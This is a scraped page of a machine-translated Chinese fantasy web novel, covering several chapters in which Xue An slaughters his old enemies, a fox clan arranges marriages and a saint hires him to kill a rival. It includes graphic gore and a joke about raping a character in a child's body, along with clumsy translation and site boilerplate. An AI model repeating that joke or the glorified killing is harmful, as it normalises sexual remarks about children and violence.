    As for his soul, it was also completely shredded.


    The blood mixed with the shards of flesh and blood floating in the void, the picture was **** and disgusting.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1895 is made into meatloaf (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1891： Come again, never let go

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    At least many people turned pale.


    Because Hong Yi, who had just stood there alive, became a lump of rotten meat in an instant.


    But Xue An didn''t even move his hand.


    The power represented by this is enough to deter many people.


    But the saint of Slaughter Temple who watched the whole process in the depths of the void suddenly laughed.


    There was a bit of comfort and joy in his smile, but more... but hope.


    at the same time.


    Xue An once again raised his eyes and looked into the void, and said lightly: "What? Everyone has watched such a good show for free, but are you not ready to show up?"


    "Or do I have to ask me to invite you out one by one?"


    Xue An''s voice was as cold as ice.


    But the voice just fell, but seeing the void trembling, one by one began to appear.


    Everyone''s complexion was so pale.


    There was also a silent uproar among the onlookers.


    "Fuck, isn''t that the White Leader of the Blood Sacrifice League?"


    "Lord Sha from Juxianlou is here too!"


    "There are also the Hero Pavilion, the Shenjue Palace, the Absolute Fairy Pavilion... God! So many people have been hiding in the void!"


    Whichever one of these people picks out is to guard one side, the famous strong.


    But at this moment, they all stood tremblingly in the void, not even daring to lift their heads.


    Xue An smiled coldly, "So they are all my old acquaintances!"


    When talking about the three words old acquaintances, Xue An deliberately increased his tone.


    This group of people shuddered, their faces all showing panic and despair.


    That''s right!


    They are indeed Xue An''s old acquaintances.


    But this old acquaintance needs to put quotation marks.


    Because these people are without exception, they all had feasts and hatreds with Xue An.


    This time I also wanted to take advantage of the opportunity of Tiandaozong to invade the Qingqiu Fox Country to fish in troubled waters.


    In the end, he took himself in.


    "I know exactly what you are doing here, so you think...how should I clean up you?" Xue An said with a smile, but his eyes were full of palpitations.


    "Big...sir, I know I was wrong, please forgive me!" The leader of the Blood Sacrifice Alliance who stood at the forefront couldn''t bear the pressure, and collapsed and shouted.


    But as soon as the voice fell, a strand of sword light exploded his head and the dead body fell to the ground.


    Then Xue An said calmly: "I don''t like listening to these nonsense, so you should go to death!"


    After that, he looked at the remaining people and smiled sensibly, "It''s up to you next, do you have anything to say?"


    The rest of these people have been shaking.


    Someone yelled desperately, "The surname is Xue, I don''t believe you can continue to be so rampant, sooner or later someone will clean up you!"


    It was the Sha Louzhu of Juxianlou who was talking.


    At this moment, his face was full of hysterical madness.


    Xue An glanced at him, and then slowly said: "Sha Chen, back then you indulged your subordinates to behave and cruel innocent civilians, and when I destroyed your orthodoxy, what did you say to me?"


    "You promised yourself that you would never harm civilians in the future, and you are willing to correct evil and return to the right. I just let you go. Have you forgotten all this?"


    Sha Chen opened his mouth wide and looked at Xue An dumbly.


    A murderous intent flashed in Xue An''s eyes, "But I can see that the blood cloud above your head is lingering, and the resentment is soaring. It can be seen that you have not fulfilled your promise at all, and even want to attack me. Do you think... my temper Has it always been so good?" Dream Literature Network


    When the words fell, a ray of sword light flashed by, and in an instant he cut off Sha Chen''s limbs.


    Sha Chen screamed and fell to the ground.


    Then Xue An said coldly: "My mistake in the last life was that I shouldn''t be kind to you people. I always have a glimmer of hope that you will correct your evil, but this kind of thinking has killed more innocent people. ,so now����."


    An extremely bright sword light appeared between Xue An''s eyebrows, "You all go to die!"


    When the words fell, the sword light exploded violently, rushing towards these people like mercury.


    Faced with this situation, these people began to scream, cry bitterly, begging for mercy, despair and even hysterical abuse.


    But no matter what kind of action, Xue An could not be moved at all.


    In an instant, the sword light and body.


    Puff puff!


    In the muffled sound that pierced the skin, blood bloomed like flowers.


    It wasn''t until death really came that regrets appeared in these people''s eyes.


    If... I could keep the promise of the year, would I not die now?


    But this regret came too late.


    In the blink of an eye, the sword light receded like a flood, and when looking at the field, there was nothing but blood and stumps in the sky.


    This **** and cruel scene made everyone take a breath of air.


    Especially the melon-eating people who came to see the excitement were even more frightened, for fear that Xue An would kill his eyes again and clean up himself.


    But Xue An just glanced at them, then turned and left.


    Seeing his back, these people just let out a sigh of relief.


    "Mom, is this Red Lotus Immortal Venerable so murderous?"


    "Yeah, haven''t I heard that he shot so ruthlessly?"


    "Hey, the heavens are expected to be even more lively now!"


    Only the saint of Slaughter Temple didn''t say a word, took a deep look at Xue An''s back, and then quietly hid into the darkness and disappeared.


    The war finally came to an end.


    Everyone dispersed, but the chain reaction brought about by this incident has just begun.


    At the same time, the Qingqiu Fox Country was full of joy.


    All the fox races were plunged into almost hysterical excitement.


    But in this excited atmosphere, there is a hint of sadness hidden.


    Because the great elder who is so beloved by the fox clan can''t see this picture anymore.


    In the hall.


    Hu Ye stood with his hands down, A Rou stood on his left hand, and Ao Yi stood on his right.


    Huhuan tilted Erlang''s legs and sat in the upright position, looking at the three of them with interest.


    The atmosphere in the hall is very strange.


    People are afraid to speak.


    After a long time, Huhuan suddenly chuckled.


    "Interesting One is the blue bird transformed by the emperor flow, and the other is the dragon selected by the emperor! It''s really interesting!"


    With that, Huhuan looked at Fox Night, who bowed his head and said nothing, and said in a playful tone: "Boy, what do you think now?"


    "Huh?" Hu Ye raised his head, looking at Hu Huan blankly, "What do you think?"


    "Nonsense, of course it is the destination of these two girls?" Hu Huan said with a look of hatred for iron and steel.


    "Fate?" Hu Ye was stunned.


    "Yeah! Look, this little blue bird was chosen by the kid Hu''an. It''s a Mingzhong who is getting married. To be honest, I like it too! But this princess also has deep love for you, even for you. And against Tiandaozong, the friendship in this can be seen in general, don''t you have the heart to give it up?" Hu Huan said with a smile.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1896, once again, never be soft (third)) reading records, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1892： Master please respect yourself

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Hu Ye understood what it meant, shaking all over, and then shouted: "Old ancestor, don''t be kidding me! I already have Rou''er now, I definitely can''t..."


    "Huh?" Hu Huan glared, and Hu Ye immediately swallowed the words behind.


    Then Huhuan smiled and said, "I know you have a blue bird. I just said that I also like this little girl very much, but you can''t be a fancier! We fox family have always been infatuated. ."


    "Should I choose two for infatuation?" Hu Ye muttered softly.


    "what did you say?"


    Hu Ye closed her mouth immediately, and then peeked at Rou''er.


    In his opinion, Rouer would be furious when he heard Hu Huan say this.


    After all, this is equivalent to instigating her husband to find another woman.


    No one will accept the change.


    Unexpectedly, Rou''er had a calm face, as if he hadn''t heard what Hu Huan said.


    Hu Ye was a little dumbfounded, and then secretly looked at Xue An who was sitting on the side chair, his eyes full of help.


    But at this time, Xue An was talking to An Yan with a smile, not paying attention to his meaning at all.


    at the same time.


    Hu Huan said "worrisomely": "Hu Ye, I am not instigating you to change your mind, I just can''t bear to see the lover separate! What''s more, I have already asked Blue Bird for these questions in advance, she has no opinion! "


    what?


    Hearing this, Hu Ye was completely stunned, turned his head and looked at A Rou, couldn''t believe it was true.


    A Rou glanced at him calmly, then nodded slightly.


    "Hehe, I didn''t lie to you! So now I just ask you a word, if I give you a chance now, you only need to shake your head, and Miss Longer will turn around and leave. From then on, you have nothing to do with you. Are you willing? Will you hesitate?"


    This questioning Linghu Ye''s heart was shocked, he wanted to shook his head directly, but subconsciously looked at Ao Yi on the right.


    I saw that Ao Yi seemed calm at this time, but from her slightly trembling hand, it could be seen that she must have been suffering in her heart.


    Somehow, Huye suddenly hesitated.


    When Huhuan saw this, he couldn''t help laughing, "What do you think? Let me just say, since you have hesitated, it means you still have her in your heart, OK! I''ll take the charge of this matter, Long Er Girl, what do you think?"


    Hu Huan blinked at Ao Yi.


    Ao Yi was silent for a moment, and finally bowed a bow, "Yes!"


    "Okay, it''s settled, it shouldn''t be too late, let''s just do it!" Hu Huan immediately made a final decision.


    During the whole process, he didn''t ask Foxye what he meant.


    Huye became more and more stunned in his heart, but still forced himself to endure, and whispered: "Old ancestor, I am afraid it is not appropriate to do this now!"


    "Why not appropriate? Why? Want to regret it?"


    "Uh, it''s just... it''s just that now the great elder''s bones are not cold, and if he hastily held a happy event, wouldn''t he be laughed at?"


    "Cut!" Hu Huan snorted, "What am I supposed to do, this is it?"


    After that, Huhuan stood up, "Wait here, I will come when I go!"


    After all, Fox Huan''s figure flashed and disappeared in place, leaving a room of Fox Clan staring at each other, not knowing what the ancestor was doing.


    Hu Ye quickly rushed to Xue An and said anxiously: "Old Xue, why have you been silent!"


    "What are you talking about?" Xue An raised his eyebrows slightly, and said with a smile, "Congratulations on having the blessing of the Qi people?"


    An Yan on the side even covered her mouth and smiled secretly: "Yes, Fox Ye, it seems you are really lucky to have such two outstanding girls at the same time."


    Fox Ye felt that one of her heads was two big, and couldn''t help saying: "Then sister-in-law, are you not going to make my Brother Xue a little blessed?"


    "He?" An Yan Qiao smiled and gave Xue An a look.


    Xue An chuckled, "Look at what I''m doing? My blessing is much greater than Fox Night, because I have you!"


    "Hate!" An Yan gave Xue An angrily.


    Hu Ye watched Xue An and the two selling dog food in front of him, and he was so angry.


    "Old Xue, you...you are really not friends enough!"


    Xue An smiled, then patted his shoulder gently.


    "After the Fox Night, you don��t want to be cheap and behave well. This matter is first of all an internal matter of your fox clan. I have no right to interfere. Besides, your ancestor is not a good person. He is sure to do so. There is his intention."


    Fox Ye was silent for a moment, and then whispered: "Then...then you can''t marry me before the funeral of the elder is held!"


    "The funeral of the elder?" Xue An smiled and shook his head. "Don''t worry, there will be no more funerals!"


    As soon as the voice fell, only a burst of laughter came from the void, "Everyone, come and take a look, who is this?"


    As he said, Huhuan appeared in the field with a look of excitement, while still carrying a little boy in his hand.


    That''s right!


    It is carrying in the literal sense.


    I saw him holding the clothes on the back of the little boy as if carrying a bag, and he was very excited to raise his hand to show it to everyone.


    This is a little boy.


    To be precise, she is a small Zhengtai who is exquisite and cute enough to make people cute.


    After being lifted up, Xiao Zhengtai''s face showed a look of helplessness, "Master, is there enough trouble? Can you let me down first if you have enough trouble?"


    As soon as the sound came out, the audience instantly became quiet.


    Because of this voice, how to hear it, how familiar.


    The fox trembling suddenly began to tremble, and then pointed at Xiao Zhengtai with tears on his face, "You...you..."


    Her voice was trembling and she couldn''t even speak.


    Xiao Zhengtai smiled at her, "Okay, don''t cry! How come you are such a big elder, why do you still cry so much?"


    The fox was sobbed immediately and could only nod his head vigorously.


    Hu Ye finally understood, and then jumped three feet high, pointed at Xiao Zhengtai, and shouted in disbelief, "You... are you the great elder?"


    Xiaozheng smiled too shyly, "Yes!"


    "This... how is this possible?" Hu Ye muttered softly with a dull face Not only him, but all the fox races were shocked.


    Hu Huan seemed to be very satisfied with the effect and couldn''t help laughing: "How can it be impossible? To tell you the truth. If it weren''t for the boy Huan, he would be finished soon, and I wouldn''t be back!"


    While talking, Hu Huan patted the elder Hu''an on the shoulder, "Good boy, don''t you think it is?"


    With a helpless look on Hu An''s face, he could only nod his head and sigh softly: "Yes! My Master, if it weren''t for you, I would be dead now!"


    "Hahaha, so how are you going to thank me?" Huhuan said with a look of excitement, pinching the chubby little face of Hu Ann with his hands.


    Hu An broke free from Huhuan''s claws, wiped his saliva first, and then said with a serious face: "Master, please respect yourself!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1897 Master, please respect yourself (fourth)), and you will see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1893： What do you want to know?

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    But as soon as his voice fell, he was swept into his arms by Hu Huan, pinched his cheeks and kneaded, and said with a grin.


    "Hey, good disciple, do you know how cute you are now with this serious look? Even I can''t help but want to be raped a few times!"


    This terrible dialogue left everyone speechless, and even Xue An couldn''t bear to look directly.


    This former great elder, now Xiaozheng Taihuan, was even more unlovable, and said weakly, "Master, can you stop talking nonsense? Would you be a little more serious?"


    "Be serious?" Hu Huan smiled, "It''s a joke, when did you respect me pass by? Besides, if it''s serious, is it me?"


    Hu An: "..."


    Then he completely accepted his fate.


    The key is to stand on such a disagreeable master, he can''t do without admitting his fate.


    That''s right.


    This Huhuan is indeed Hu''an''s master, and he is still a fake replacement.


    At the beginning, Huhuan, as the first elder of the Qingqiu Fox Country, was shockingly brilliant and shocked the heavens.


    But as tyrannical as him, he only accepted one disciple, and that was Hu''an.


    After Huan gradually grew up, and eventually became the new generation of Great Elder in Qingqiu Fox Country, Huhuan suddenly disappeared, and there was no more news.


    It wasn''t until this time that Hu''an was about to die, and he ran back, and forcibly reversed Hu''an''s life and turned it into a fruit on the Sansheng tree. This was regarded as saving Hu''an''s life.


    Xue An also noticed the strangeness at that time.


    Although there were many twists and turns, the final result was a joy for everyone, so the entire Qingqiu Fox Country was boiling.


    A Rou''s marriage is considered completed, but the marriage of Long Er Princess Ao Yi can''t be so hastily.


    After all, this is related to the marriage between Qingqiu and the dragon clan, so Long Er Princess Ao Yi and the dragon elder first went back to prepare.


    Seeing this scene, Zhuge Zang couldn''t help sighing, "As soon as this marriage is done, the Yaozu is estimated to be unified!"


    Before Zhuge Zang was seriously injured in the match with Tiansu, and even passed out into a coma.


    But under the full treatment of Qingqiu Fox Country, he quickly recovered sober, especially Hu An did not hesitate to spend his own blood to help him heal.


    Therefore, Zhuge Zang has not only recovered to the original condition, but also has improved his cultivation base and realm.


    Xue An smiled upon hearing this, "Isn''t that bad?"


    Zhuge Zang glanced at Xue An strangely, "Aren''t you afraid that the demon race will just sit here and threaten the rule of the human race?"


    Xue An looked up at the starry sky and said indifferently: "If the rule of the human race can be so easily threatened by people, it can only prove that the human race is not doing enough. What should be done is to reflect and improve, instead of worrying about whether other races will be big. !"


    Zhuge Zang looked contemplative when he heard the words, and only sighed softly after a long time: "That''s good, but how many of the human races now can have this awareness? Infighting is the eternal melody of our human race. what!"


    Xue An suddenly showed white teeth and smiled sensibly, "What if the human race is also powerfully unified?"


    Zhuge Zang was shocked all over, then looked at Xue An in shock, "You mean..."


    Xue Anyou said: "In my previous life, I was very resistant to using force to subdue others. I always thought that blooming a hundred flowers is good, but now I suddenly feel that sometimes strong rule is not a bad thing, especially..."


    "When the future is unknown and the darkness is full of unknown dangers, only by unity can we stand tall."


    A solemn color gradually appeared in Zhuge Zang''s eyes.


    Xue An''s remarks sounded very obscure at first, but he understood. Mengsheng Novel


    In fact, ever since he saw Hydra, his heart has been faintly worried.


    Because he saw many things from the Hydra that shouldn''t have appeared in the heavens.


    This feeling is so dangerous that even Zhuge Zang tried several times to make calculations, but the result was completely broken as soon as the market opened.


    And listening to Xue An''s current words, it is obvious that he also sensed something.


    Zhuge Zang slowly took a deep breath and said very solemnly: "Xue An, if you really think so, then Zhuge Zang and the entire Zhuge family will stand behind you without hesitation and be your solid backing. ."


    Xue An took a deep look at Zhuge Zang, and finally smiled and nodded, "Thank you!"


    Xiao Sha on the side heard this with a bewildered face, and finally couldn''t help but said: "Master, what are you talking about? Are you looking for those people to settle the accounts? Let me do it!"


    When she said this, she was full of eagerness to try.


    The injuries on her body have been healed a long time ago, but by nature she is not willing to admit defeat, and she has always been brooding about her being beaten.


    Xue An laughed, then raised his hand and patted her on the shoulder.


    "Don''t worry, there will definitely be your revenge."


    At this moment, there was a knock on the door, and then the fox walked in.


    "Master Honglian, my ancestor asked you to come over and talk about important matters."


    Xue An seemed to have expected this, and stood up and said calmly: "Okay, let''s go!"


    The meeting place this time was not in the fox palace, but in the white jade pagoda on the Sansheng tree.


    When Xue An walked into the tower, Huhuan was sitting slumped in a chair and napping.


    In addition, there was no one in the tower, not even the little Zhengtaihu An.


    After hearing the footsteps, Huhuan didn''t even open his eyes, and said in a tired tone: "Come on!"


    "Well, here it is!"


    "Hehe, it looks like you know why I am looking for you?"


    Xue An also smiled, "Of course!"


    Hu Huan opened his eyes suddenly, and a brilliant light flashed across the white pagoda. Then he closed his eyes and said indifferently: "The Chinese... I didn''t expect that the famous Red Lotus Immortal Venerable was actually among the Chinese. people."


    "What? Is it weird?" Xue An simply sat on the floor without a stool in the White Tower, and said with a smile.


    "It''s not strange, but a little sigh." At this point, Hu Huan sighed quietly, and then looked at Xue An with piercing eyes.


    "Do you want to ask about the big battle back then?"


    "Of course!" Xue An replied without hesitation Then tell me first, what do you know now! "


    Xue An didn''t conceal it either, and directly revealed what he knew. After he finished speaking, he looked at Huhuan.


    "That''s all I know."


    Huhuan remained silent, and only sighed a long time later, "I didn''t expect that you already knew so much, and even slashed a lot of enemies."


    "But this is far from enough, isn''t it? After all, the blood shed by the Chinese was enough to fill the entire ocean." Xue An said coldly.


    "I know what you mean, but you should be disappointed because I don''t know more than you."


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 1898 What do you want to know? (first update)) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1894： How about making 1 transaction?

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Xue An waved his hand, "Apart from the rest, I just want to know two things now. First, who was dealing with the Chinese in the first place!"


    "Secondly, where are the Chinese gods!"


    Hu Huan was silent for a moment, then raised his hand and struck a divine mind.


    Xue An took it in his hand and probed slightly, revealing a look of surprise on his face.


    "This divine mind is what I know, the sect forces that have participated in the events of the year."


    Speaking of this, Huhuan''s face showed a solemn expression, "But what this list represents, you should know better than me."


    "Understand!" Xue An said with a sneer.


    "So if you don''t have full confidence, you must not act rashly." Hu Huan persuaded him, but seeing Xue An''s calm face, he didn''t know if he listened, so he could only sigh.


    "As for your second question, I can''t answer you either!"


    "Oh?" Xue An raised his eyebrows slightly, "Don''t you know?"


    Huhuan smiled bitterly, "Yes, I really don''t know!"


    "When this happened back then, I actually knew it, but do you know why I didn''t intervene?"


    Xue An did not say a word, but listened quietly.


    "When this happened, I hadn''t left the Qingqiu Fox Country. Because the Fox Clan has always had a good relationship with the Human Clan, I wanted to see what happened, but it turned out..."


    "What''s the result?"


    A look of fear appeared in Huhuan��s eyes, "As a result, I was forcibly sealed by an unspeakable ability. At the same time, a voice echoed in my heart, telling me not to be nosy, otherwise even Qingqiu would destruction."


    "Forcibly sealed?" Xue An was slightly taken aback.


    "Yes, it was forcibly sealed! I didn''t even have the power to fight back, so I was sealed for decades. After the restoration, the war was over!"


    Xue An stopped speaking because he was digesting this extremely important information.


    Because this is the first time that the black hand behind the scenes has appeared in front of the stage, although he did not show up directly, at least he showed a clue.


    "With your strength, you have been forcibly sealed, what kind of cultivation will be the person who does it?" Xue An said softly.


    Hu Huan shook his head, "I don''t know, but his strength must be far better than me!"


    Speaking of this, Hu Huan laughed at himself, "I''m not afraid of your jokes, it is because of this incident that I decisively left the Qingqiu Fox Country, and then kept hiding in the dark to observe this incident."


    "This list is the result of my secret investigation at the time, but as for the whereabouts of the Chinese gods you asked..."


    Hu Huan shook his head, "I have no clue!"


    Xue An nodded, then stood up and gave a deep salute to Huhuan.


    Hu Huan was taken aback, and quickly stood up, "Xue An, what do you mean by this?"


    Xue An said solemnly: "Of course I thank you!"


    "Thank me?"


    Xue An nodded, "You have done your best in this matter. Even for this list, I want to thank you!"


    Huhuan hesitated to speak, and finally sighed: "Xue An, say something that might not be said. The truth behind this incident may be something that no one can imagine and can''t bear. If you can, you It''s better to let go..."


    Before he finished his words, Xue An interrupted him, "Do you think it is possible?"


    Huhuan stopped talking. 118 Novel


    "I have said more than once that no matter who the other party is, since he did this, he will have to pay the price he deserves, so... you can put it down, provided it waits for the enemy to give the head." Xue An calmly Words.


    Huhuan sighed again, "I understand, I was just out of good intentions, because I have been thinking about it these days, and then I discovered a situation, that Hydra is likely to be the same as the original seal. People who belong to me come from the same place."


    "It can also be seen how terrible the other party is!"


    Xue An smiled, "Is it terrible? I don''t think it!"


    As he said, there was a bloodthirsty light in his eyes.


    "I will let them know what is truly terrible."


    When Xue An walked out of the White Jade Pagoda, the moon was shining outside, and the Qingqiu Fox Country in the distance was brightly celebrating.


    In contrast, here it seems more and more lonely.


    Xue An did not return to Qingqiu Fox Country, but turned and walked towards the starry sky.


    At his speed, he traversed tens of millions of miles in the star field in the blink of an eye and reached the depths of the void.


    Suddenly.


    Xue An stopped, then said lightly: "Come out! You are hiding here, aren''t you waiting for me?"


    After the words fell, the darkness surged, and then the saint of Slaughter Temple slowly walked out of it.


    I saw that she was full of radiance, and she looked so bright and moving in the darkness, and then she fluttered at Xue An.


    "Mu Wushuang, the saint of Slaughter Temple, has seen Master Honglian!"


    Every move reveals an unspeakable sense of holiness.


    But it is this kind of aura of the saint who is above the top, but it is enough to make any man''s blood.


    But Xue An didn''t even blink his eyelids, just said indifferently, "Let''s talk, why are you looking for me?"


    As early as when dealing with Hydra, he felt the gaze of Mu Wushuang from the Slaughter Temple.


    After the matter was over, he even received the spirit sent by Mu Wushuang.


    Shennian said that he wanted to meet him alone.


    However, Xue An did not reply at the time, but waited until today to come over to see what happened.


    After hearing Xue An''s words, Mu Wushuang suddenly raised his head, his face full of fanaticism.


    "My lord, I want to make a deal with you!"


    "Deal?" Xue An raised his eyebrows slightly and asked with interest: "What deal?"


    Mu Wushuang did not fear Xue An''s gaze at all. Instead, with a proud chest, his mountain peaks became higher and higher, and then slowly said: "I know what the lord is going to do next!"


    "Oh? Come and listen, what am I going to do?" Xue An said with a smile, but his eyes were full of coldness.


    Mu Wushuang took a deep breath, "It''s very simple, it''s about here You must go back to the depths of the starry sky and get everything you lost, and I can just help you!"


    Xue An smiled gradually, "Then how are you going to help me?"


    "Your current identity can be said to be a household name. If you go back like this, you will definitely encounter mutual resistance, and it will be detrimental to your work. So the best way is to conceal your true identity. It happens that I can pretend for you."


    "That''s it? Let''s not say whether I need to hide my identity, even if I use it, it seems that I don''t have to pretend for me!" Xue An raised his eyebrows and said coldly.


    "Of course it''s not that simple. The reason I say I can help you disguise is because there is a once-in-a-lifetime opportunity not only to allow you to easily dive into the depths of the starry sky, but also to capture the elite of many great teachers!"


    Speaking of this, Mu Wushuang smiled confidently: "So what do you think of this deal?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1899 to make a transaction, how? (second more)) to read the record, and open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1895： 0 Zongxuanhui

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    Xue An did not speak, but quietly looked at Mu Wushuang.


    It wasn''t until the smile on Mu Wushuang''s face became rigid that he narrowed his gaze and said lightly: "Tell me about your plan."


    Only then did Mu Wushuang breathe out, and then he realized that his back had been wet with cold sweat.


    Although Xue An just watched her in his spare time just now, the psychological pressure it brought to her was enormous.


    In particular, Xue An''s indifferent but lofty gaze gave Mu Wushuang an illusion.


    It was as if he was the fish on the chopping board, being slaughtered.


    "Big...sir, my plan is actually very simple, do you know about the Thousand Sect Profound Society?" Mu Wushuang trembled.


    "The Thousand Sects Profound Society?" Xue An was startled slightly, and then raised his eyebrows, "You mean the Thousand Sects Profound Society was held only once in a century and is known as the highest ceremony of the young masters of the heavens?"


    "That''s right!" Mu Wushuang nodded, and then solemnly said: "Next month, this Thousand Sect Profound Association will be held at Prajna Peak in Shangqing Mountain."


    Xue An was full of excitement in his eyes.


    Of course he knows the Thousand Sect Profound Society.


    As one of the most grand gatherings among the heavens, the Qianzong Xuanhui represents the highest level of the young generation of the heavens.


    Not to mention anything else, the standard for just wanting to participate in this Thousand Sect Profound Society is surprisingly high.


    First of all, your sect must be at or above the level of Void Dajiao, and secondly, you must be a descendant of your own sect, otherwise you are not eligible to participate.


    These two points alone are enough to exclude 99% of the people in the heavens.


    But just because of such a high threshold, this Thousand Sect Profound Society has become an excellent platform for those top sects to show their strength.


    After all, although participation requires a threshold, viewing is not required.


    In fact, every Thousand Sect Profound Society will have countless people coming to watch it, and its influence is huge.


    In particular, the results of the Thousand Sects Profound Society will directly determine your ranking on the Jade Ranking.


    And this jade list is the most authoritative list recognized among the heavens and used to rank the young masters.


    Therefore, whether or not they can get a good ranking in this Thousand Sect Profound Association has also become a touchstone for measuring the strength of a sect.


    With high strength, good grades, and high rankings, the influence of the sect will naturally increase.


    And influence is often directly related to the rise and fall of this sect in the next hundred years.


    All these combined make this Thousand Sects Profound Society a well-deserved top event.


    Although Xue An in the previous life proved Dao Immortal Venerable, his strength was the first, but because he was not born in the Void Great Sect, he did not participate in these thousand sects.


    "Then what?" Xue An asked.


    "I am the saint of the Temple of Slaughter, so I am naturally eligible to participate in this Thousand Sect Profound Association, so my plan is like this. Then I will lead you to participate together. When the time comes, the thousand sects will gather, you can... ...Do whatever you want. What do you think?"


    After all, Mu Wushuang looked at Xue An nervously, feeling very uneasy.


    Because she didn''t know if Xue An would agree to this matter.


    After all, a normal person would never think of going to the Thousand Sect Profound Society to cause trouble unless his brain convulsed.


    But she still wanted to take a gamble.


    Xue An didn''t think for a long time as she thought. On the contrary, Xue An smiled lightly, and then said: "Take me in? How to bring it? Isn''t this Thousand Sect Profound Association only allowed to participate in the sect''s direct line?" Ke Source novel


    Mu Wushuang chuckled, "This problem is easy to solve. If you want, you are now my direct disciple of the Temple of Slaughter, that is, my nominal junior. What do you think?"


    "Can this happen?" Xue An was slightly surprised.


    Mu Wushuang chuckled, "Master Honglian, you haven''t participated in this Thousand Sect Profound Association after all, so naturally you don''t know the doorway here. In fact, this situation is very common, after all..."


    "There are actually many sects that have long since fallen, and the descendants are even more unsatisfactory. However, in order to avoid too many lagging behind in this Thousand Sects Profound Society, they often recruit foreign aid through this method, so as to strengthen their own air. Fall down."


    "In order to win the rankings of the Jade Ranking, many casual cultivators will also participate in the Thousand Sect Profound Society in this way. The two hit it off, which makes this phenomenon very common."


    Xue An chuckled and shook his head, "So, I really didn''t expect to be able to play like this."


    "My lord, so you mean..."


    Xue An narrowed his eyes, stared at Mu Wushuang for a long while, and then said lightly: "Say, what do you want?"


    Xue An knew very well that Mu Wushuang must have his own plan for so much effort.


    So she said at the beginning that she wanted to make a deal with herself.


    Mu Wushuang''s face turned pale when he heard the words, then Yinfang bit her secretly, and said in a deep voice, "My request is very simple. I want you to help me deal with someone!"


    "To deal with someone?"


    "Yes!" There was a ray of hatred in Mu Wushuang''s eyes, "a person who I want to kill and then hurry, but I can''t do anything!"


    Xue An didn''t ask why, let alone the reason. After all, this kind of thing is too common in the heavens.


    He just said lightly: "His name."


    "Xuan Ming Ling, Xiao Tiansha!" Mu Wushuang said with a single pause.


    Without any hesitation, Xue An nodded directly, "Okay, deal!"


    Mu Wushuang, who was already ready to explain, was shocked by his so readily agreeing and couldn''t help but say.


    "My lord, do you know who this Xiao Tiansha is?"


    Xue An shook his head, "I don''t know."


    Mu Wushuang took a deep breath, "This Xiao Tiansha is the emperor of Xuan Ming Ling. In the last Thousand Sect Profound Society, he overpowered everyone and reached the top of the jade list. It is even the top of the list, and there are rumors that he has improved his strength in the past 100 years, and it is very likely that he has proven the Dao Immortal King."


    Xue An raised his eyebrows slightly, "So what? Does this have anything to do with the deal we have to do?"


    Mu Wushuang looked at Xue An with an indifferent expression, without even blinking his eyelids, he suddenly became a little speechless.


    The name I said was enough to shock anyone.


    After all, this is the emperor of Xuan Mingling who is known as the No. 1 Master of Xinghai!


    No. 1 on the Jade List is even more awe-inspiring to anyone But when these things arrived in front of Xue An, they didn''t seem to exist at all. How could this not make her astonished.


    Seems to feel her shock, Xue An smiled slightly, "Let''s say, do you want to die or live?"


    Mu Wushuang trembled, and a look of grief and anger gradually appeared in his eyes, "If you can, I hope you can kill him in front of everyone at the Qianzong Profound Society, okay?"


    Xue An nodded, and said lightly, "Of course!"


    Then Xue An turned around and said lightly: "Wait for me to deal with the matter here, and then set off to Shangqingshan."


    After all, Xue An''s flashing light instantly disappeared.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1900 Qianzong Xuanhui (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1896： parting

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Mu Wushuang stared blankly in the direction of Xue An''s disappearance, his eyes were blank.


    She still didn''t believe that things were so easy and settled down.


    Xiao Tiansha, who made him toss and turn awake at night, seemed to be just an ant in Xue An''s eyes, and he didn''t even have the qualifications to make him think about it.


    Gradually, Mu Wushuang''s eyes became clear, and then a smile appeared on his face.


    Soon, this smile turned into craziness on his face.


    Mu Wushuang looked up to the sky and laughed, "Xiao Tiansha, you finally have to taste the retribution!"


    In the laughter, big tears appeared in the corner of Mu Wushuang''s eyes, reflecting the light of hatred.


    "Fuck, are you leaving now?" Hu Ye looked shocked.


    Xue An nodded, "Yes! There are some things to deal with, so I can''t stay and drink your wedding wine!"


    "What''s so anxious?" Hu Ye asked suspiciously.


    Xue An smiled, "It''s nothing, just some trivial things."


    Hu Ye took a deep look at Xue An, and finally sighed, "Well, be careful. If there is something that cannot be resolved, remember to notify me immediately. No matter where I am, I will rush over immediately."


    Seeing Hu Ye with a serious look, Xue An couldn''t help being a little moved, but soon he covered up this emotion perfectly, and then raised his hand to beat Hu Ye''s chest.


    "Don''t worry, there is really something going on at that time, you won''t be able to come."


    If left as usual, Huye must have been fighting with Xue An early this time, but this time he was surprisingly silent, lowered his head and said very depressed: "Old Xue, or I will go out with you! "


    "Stop the **** nonsense, you are married now, you are a family member, why are you so childish?" Xue An scolded with a smile, and then patted him on the shoulder.


    "Work hard and try to drink your son''s full moon wine when I come back!"


